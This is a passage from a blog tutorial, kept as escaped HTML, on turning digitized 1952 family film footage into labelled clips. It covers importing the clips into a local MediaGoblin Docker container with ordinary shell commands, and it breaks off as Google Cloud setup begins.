&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> Adam is 12.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> Recorded between June 1, 1952 and June 30, 1952.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> Came from tape &amp;#34;Texas Farm Family - 1952,&amp;#34; scene #01.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> duration_frames: &lt;span style="color:#3677a9">457&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raw_source_filename: TexasFar1952.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rendered_filename: Texas Family - &lt;span style="color:#3677a9">1952&lt;/span> - &lt;span style="color:#3677a9">01&lt;/span> - Abigail Primping Adam.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tags:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - abigail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - adam
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - best of
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> timecode_start: &lt;span style="color:#ed9d13">&amp;#39;0:00:00.934267&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> title: Abigail Primping Adam
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 This was kind of a silly design choice I made. The other scripts could have just read the CSV, but this is what I did.
&lt;/div>

&lt;h2 id="chop-up-the-clips">Chop up the clips&lt;/h2>
&lt;p>Now that you have all your metadata ready, it&amp;rsquo;s time to chop the large video file into a series of smaller clips:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Specify the directory where the script should write out the processed clips.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROCESSED_CLIPS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HOME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/videos-processed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$RAW_VIDEOS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>app/render_scenes.py &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --metadata &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SCENES_YAML&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --raw_videos_dir &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$RAW_VIDEOS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --output_clips_dir &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROCESSED_CLIPS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the script is done, you should have a folder that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROCESSED_CLIPS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 01 - Abigail Primping Adam.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 02 - Abigail Standing on the Stairs.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 03 - Adam Plays with Cars on the Sidewalk.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 04 - Trudy Working at the Loom.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 05 - Archie in the Corn Fields.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 06 - Tending to the Cows, Bessie Nursing.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 07 - Giving Pigs Belly-Rubs.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#39;Texas Family - 1952 - 08 - Checking on the Chickens and Hens.mp4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="create-mediagoblin-files">Create MediaGoblin files&lt;/h2>
&lt;p>With your clips processed, you&amp;rsquo;re ready to upload files to MediaGoblin. You&amp;rsquo;ll first import your videos and metadata into an instance of MediaGoblin on your local machine. This allows MediaGoblin to convert your files into an internal database and file structure that you can reuse to run your MediaGoblin instance in the cloud.&lt;/p>
&lt;p>To begin, populate your environment information into &lt;code>mediagoblin.ini&lt;/code>, MediaGoblin&amp;rsquo;s configuration file.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: To help distinguish between paths on your host machine and paths &lt;em>within&lt;/em> your MediaGoblin Docker container, I&amp;rsquo;ve followed the naming convention that the &lt;code>MG_&lt;/code> prefix refers to your host machine and &lt;code>MGC_&lt;/code> refers to paths within your Docker container.
&lt;/div>

&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MG_CONFIG&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin.ini &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -O &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MG_CONFIG&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Path to MediaGoblin&amp;#39;s home directory within the container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MGC_HOME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/var/lib/mediagoblin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MGC_DB_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MGC_HOME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/mediagoblin.db&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Update the relevant lines in the config file.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sed &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --in-place &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;s@.*sql_engine = .*@sql_engine = sqlite:///&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MGC_DB_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MG_CONFIG&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now launch the container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># This is a path on the host machine that will receive the files the MediaGoblin&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># container generates.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MG_SERVING_DIR&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp --directory&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># These are paths within the MediaGoblin container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MGC_INPUT_VOLUME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/opt/input-videos&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MGC_APP_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/srv/mediagoblin.example.org/mediagoblin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Name for MediaGoblin Docker container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MGC_NAME&lt;/span>=mediagoblin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tty &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --detach &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 6543:6543 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --volume &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PROCESSED_CLIPS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MGC_INPUT_VOLUME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --volume &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MG_CONFIG&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MGC_APP_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/mediagoblin_host.ini&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --volume &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MG_SERVING_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MGC_HOME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MGC_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> mtlynch/mediagoblin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The command above mounts several paths on your host machine into the MediaGoblin container, allowing you to share files between your host and MediaGoblin:&lt;/p>
&lt;ul>
&lt;li>&lt;code>PROCESSED_CLIPS_DIR&lt;/code> allows MediaGoblin to read the clips you created above.&lt;/li>
&lt;li>&lt;code>MG_CONFIG&lt;/code> specifies the configuration file for MediaGoblin to use.&lt;/li>
&lt;li>&lt;code>MG_SERVING_DIR&lt;/code> receives the video and thumbnail files when MediaGoblin places them on its local filesystem.&lt;/li>
&lt;/ul>
&lt;p>When you run the container, MediaGoblin will take a few seconds to start up. You can monitor progress by running&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker logs &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MGC_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> -f
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the server is ready, you&amp;rsquo;ll see lines like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Starting server in PID 26.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Serving on http://0.0.0.0:6543
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can visit &lt;a href="http://localhost:6543">http://localhost:6543&lt;/a> to verify the MediaGoblin server is up and running.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: If you&amp;rsquo;d like, you can log in with username &lt;code>admin&lt;/code>, password &lt;code>admin&lt;/code>, but logging in is not necessary.
&lt;/div>

&lt;p>Run the following script to import your clips and metadata into MediaGoblin:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MEDIAGOBLIN_PUBLISH_HISTORY&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>app/publish_to_mediagoblin.py &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MGC_INPUT_VOLUME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --metadata &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SCENES_YAML&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish_history &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MEDIAGOBLIN_PUBLISH_HISTORY&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container_name &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MGC_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the script completes, you should see all the clips appear in MediaGoblin&amp;rsquo;s web interface at &lt;a href="http://localhost:6543">http://localhost:6543&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-local-populated.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-local-populated_hu_a8fa3feaa286e230.png 300w, https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-local-populated_hu_6eacd36a5936bb4b.png 600w, https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-local-populated_hu_a1fcdd5f4018b92e.png 800w, https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-local-populated.png 853w'
 src="https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-local-populated.png" alt="All clips appear in MediaGoblin" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>You should see thumbnails for all eight clips on MediaGoblin&amp;rsquo;s web interface.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you click a video, you won&amp;rsquo;t be able to view it in the normal video player because MediaGoblin uses a web player that&amp;rsquo;s too old for modern streaming-optimized video formats. You can still watch it if you click the &amp;ldquo;Original file&amp;rdquo; link.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-single-local.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-single-local_hu_84a178be1eddac1.png 300w, https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-single-local_hu_21d7fd3926d57eda.png 600w, https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-single-local_hu_d506071e574aa9c2.png 800w, https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-single-local.png 853w'
 src="https://mtlynch.io/digitizing-home-videos-walkthrough/mediagoblin-single-local.png" alt="Screenshot of single video view" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>View of a single video in the local MediaGoblin instance&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Don&amp;rsquo;t worry; we&amp;rsquo;ll fix this in the next step so that you&amp;rsquo;ll be able to watch all videos normally in the embedded player.&lt;/p>
&lt;p>You&amp;rsquo;re all done with the local container, so tear it down.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker rm --force &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MGC_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And Docker took over control of your shared folder. Now it&amp;rsquo;s time to reclaim it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo chown &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MG_SERVING_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> --recursive
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you examine that directory, you should see something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>find &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MG_SERVING_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> -type f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/8/Texas_Family_-_1952_-_08_-_Checking_on_the_Chickens_and_Hens.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/8/Texas_Family_-_1952_-_08_-_Checking_on_the_Chickens_and_Hens.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/5/Texas_Family_-_1952_-_05_-_Archie_in_the_Corn_Fields.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/5/Texas_Family_-_1952_-_05_-_Archie_in_the_Corn_Fields.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/1/Texas_Family_-_1952_-_01_-_Abigail_Primping_Adam.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/1/Texas_Family_-_1952_-_01_-_Abigail_Primping_Adam.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/4/Texas_Family_-_1952_-_04_-_Trudy_Working_at_the_Loom.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/4/Texas_Family_-_1952_-_04_-_Trudy_Working_at_the_Loom.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/7/Texas_Family_-_1952_-_07_-_Giving_Pigs_Belly-Rubs.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/7/Texas_Family_-_1952_-_07_-_Giving_Pigs_Belly-Rubs.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/6/Texas_Family_-_1952_-_06_-_Tending_to_the_Cows_Bessie_Nursing.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/6/Texas_Family_-_1952_-_06_-_Tending_to_the_Cows_Bessie_Nursing.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/3/Texas_Family_-_1952_-_03_-_Adam_Plays_with_Cars_on_the_Sidewalk.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/3/Texas_Family_-_1952_-_03_-_Adam_Plays_with_Cars_on_the_Sidewalk.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/2/Texas_Family_-_1952_-_02_-_Abigail_Standing_on_the_Stairs.mp4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/media/public/media_entries/2/Texas_Family_-_1952_-_02_-_Abigail_Standing_on_the_Stairs.thumbnail.jpg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/mediagoblin.db
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/tmp/tmp.bq7GAbNNNW/.cache/gstreamer-1.0/registry.x86_64.bin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="configuring-google-cloud-storage">Configuring Google Cloud Storage&lt;/h2>
&lt;p>The purpose of the last step was for MediaGoblin to generate a database, file layout, and video thumbnails for all of your clips. Now, it&amp;rsquo;s time to deploy MediaGoblin to a cloud server so that you can access it from anywhere, not just your local machine.&lt;/p>
&lt;h3 id="create-a-new-google-cloud-platform-project-optional">Create a new Google Cloud Platform project (optional)&lt;/h3>
&lt;p>If you want a clean Google Cloud Platform project for your MediaGoblin files, you can create one with the commands below. If you&amp;rsquo;d prefer to use an existing project, set &lt;code>GCP_PROJECT_ID&lt;/code> to the project ID you&amp;rsquo;d like to use and skip this section.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCP_PROJECT_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;mediagoblin&amp;#34;&lt;/span>
